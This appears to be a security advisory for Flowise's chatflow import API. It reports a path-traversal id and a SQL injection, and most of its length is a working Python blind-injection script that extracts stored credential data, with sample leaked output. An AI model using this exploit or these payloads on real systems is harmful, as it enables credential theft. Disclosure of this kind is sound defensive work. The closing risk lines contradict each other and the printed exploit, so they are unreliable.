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GHSA-9c4c-g95m-c8cp
No affected components available
Summary
import functions are vulnerable.
Details
Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
- Malicious user creates
AllChatflows.jsonfile by adding../and arbitrary path to the chatflow.id of the json file.{ "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } - Victim download this file, and import this to flowise.
- When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.
PoC
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
- Database leak
- Lateral Movement
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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